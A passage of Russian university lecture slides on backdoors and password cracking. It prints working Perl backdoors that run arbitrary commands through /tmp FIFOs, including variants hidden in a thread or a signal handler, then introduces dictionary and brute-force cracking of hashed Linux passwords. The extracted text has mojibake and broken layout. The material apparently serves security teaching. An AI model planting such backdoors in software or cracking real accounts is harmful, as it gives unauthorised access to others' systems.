Лекция 4
.pdfБэкдоры |
Переборщики паролей |
|
|
remote_shell.pl (результат)
Ñì. ôàéë avi/remote_shell.avi
Браницкий А.А., СПбГУТ |
Лекция 4, Санкт-Петербург, 2021 |
6/19 |
Бэкдоры |
|
|
|
Переборщики паролей |
||
Локальный бэкдор fo_backdoor.pl |
||||||
1 use |
strict ; |
|
|
|
||
2 use |
POSIX qw ( mkfifo ); |
|
|
|||
3 use |
Fcntl qw ( O_RDWR O_RDONLY O_NONBLOCK ); |
|
||||
4 my |
%h = |
( 'IN ' => |
[ '/ tmp / in_fifo ', O_RDONLY , |
undef ], |
||
5 |
|
|
' OUT ' => |
[ '/ tmp / out_fifo ', O_RDWR , |
undef ]); |
|
6 foreach |
my $v ( values %h) |
|
||||
7 |
{ |
|
|
|
|
|
8 |
mkfifo ($v - >[0] , |
0777) |
|| |
|
||
9 |
die " Could not |
create |
fifo \n" if !( -e $v - >[0]); |
|||
10 |
sysopen ($v - >[2] , |
$v - >[0] , $v - >[1]| O_NONBLOCK ) || |
11die " Could not open fifo \n";
12}
13while (1)
14{
15sysread ( $h{ 'IN '} - >[2] , my $data , 65535);
16 last if ( $data =~ m/^\s*( quit | exit )\s*$ /);
17syswrite ( $h{ ' OUT '} - >[2] , `$data `);
18}
19foreach my $v ( values %h)
20{
21close $v - >[2];
22unlink $v - >[0];
23}
Браницкий А.А., СПбГУТ |
Лекция 4, Санкт-Петербург, 2021 |
7/19 |
Бэкдоры |
Переборщики паролей |
|
|
fo_backdoor.pl (результат)
Ñì. ôàéë avi/ fo_backdoor.avi
Браницкий А.А., СПбГУТ |
Лекция 4, Санкт-Петербург, 2021 |
8/19 |
Бэкдоры |
Переборщики паролей |
|
|
Встраивание бэкдора
Через создание потока Через вызов обработчика сигнала
Браницкий А.А., СПбГУТ |
Лекция 4, Санкт-Петербург, 2021 |
9/19 |
Бэкдоры |
Переборщики паролей |
|
fo_backdoor_via_thread.pl |
||
1 use |
strict ; |
|
2 use |
POSIX qw ( mkfifo ); |
|
3 use |
Fcntl qw ( O_RDWR O_RDONLY O_NONBLOCK ); |
|
4 use |
threads ; |
|
5 sub |
create_backdoor |
|
6 { |
|
|
7 |
my %h = ( ' IN ' => [ '/ tmp / in_fifo ' , O_RDONLY , undef ], |
|
8 |
|
' OUT ' => [ '/ tmp / out_fifo ' , O_RDWR , undef ]); |
9 |
foreach my $v ( values %h) |
10{
11mkfifo ($v - >[0] , 0777) ||
12die " Could not create fifo \n" if !( -e $v - >[0]);
13 sysopen ($v - >[2] , $v - >[0] , $v - >[1]| O_NONBLOCK ) ||
14die " Could not open fifo \n";
15}
16while (1)
17{
18sysread ( $h{ ' IN '} - >[2] , my $data , 65535);
19 last if ( $data =~ m/^\s*( quit | exit )\s*$ /);
20syswrite ( $h{ ' OUT '} - >[2] , ` $data `);
21}
22foreach my $v ( values %h)
23{
24close $v - >[2];
25unlink $v - >[0];
26}
27}
28 my $t |
= |
threads -> create ( ' create_backdoor ' ); |
|
||
29 print |
$_ |
while (<>); # |
main loop |
|
|
30 $t -> join (); |
|
|
|||
Браницкий А.А., СПбГУТ |
|
Лекция 4, Санкт-Петербург, 2021 |
10/19 |
||
|
|
|
|
|
|
Бэкдоры |
Переборщики паролей |
|
|
fo_backdoor_via_thread.pl (результат)
Ñì. ôàéë avi/ fo_backdoor_via_thread.avi
Браницкий А.А., СПбГУТ |
Лекция 4, Санкт-Петербург, 2021 |
11/19 |
Бэкдоры |
|
|
|
Переборщики паролей |
||
fo_backdoor_via_signal.pl |
|
|||||
1 use |
strict ; |
|
|
|
||
2 use |
POSIX qw ( mkfifo ); |
|
||||
3 use |
Fcntl |
qw ( O_RDWR O_RDONLY O_NONBLOCK ); |
|
|||
4 sub |
create_backdoor |
|
||||
5 { |
|
|
|
|
|
|
6 |
my |
%h = |
( 'IN ' |
=> |
[ '/ tmp / in_fifo ', O_RDONLY , |
undef ], |
7 |
|
|
' OUT ' |
=> |
[ '/ tmp / out_fifo ', O_RDWR , |
undef ]); |
8 |
foreach |
my $v |
( values %h) |
|
||
9 |
{ |
|
|
|
|
|
10sysopen ($v - >[2] , $v - >[0] , $v - >[1]) ||
11die " Could not open fifo \n";
12}
13sysread ( $h{ 'IN '} - >[2] , my $data , 65535);
14syswrite ( $h{ ' OUT '} - >[2] , `$data `);
15}
16$SIG { USR1 } = \& create_backdoor ;
17print $_ while (<>); # main loop
Браницкий А.А., СПбГУТ |
Лекция 4, Санкт-Петербург, 2021 |
12/19 |
Бэкдоры |
Переборщики паролей |
|
|
fo_backdoor_via_signal.pl (результат)
Ñì. ôàéë avi/ fo_backdoor_via_signal.avi
Браницкий А.А., СПбГУТ |
Лекция 4, Санкт-Петербург, 2021 |
13/19 |
Бэкдоры |
Переборщики паролей |
|
|
Перебор паролей
По словарю
Bruteforce (методом грубой силы, или полным перебором)
С помощью предвычисленных цепочек хешей или радужных таблиц
Браницкий А.А., СПбГУТ |
Лекция 4, Санкт-Петербург, 2021 |
14/19 |
Бэкдоры |
Переборщики паролей |
|
|
Пример перебора паролей по словарю
Исходные данные. Имеется файл с паролями Linux-пользователей.
Ограничения. Пароли захешированы при помощи необратимой функции.
Цель. Требуется подобрать пароль к одной из учетных записей.
Браницкий А.А., СПбГУТ |
Лекция 4, Санкт-Петербург, 2021 |
15/19 |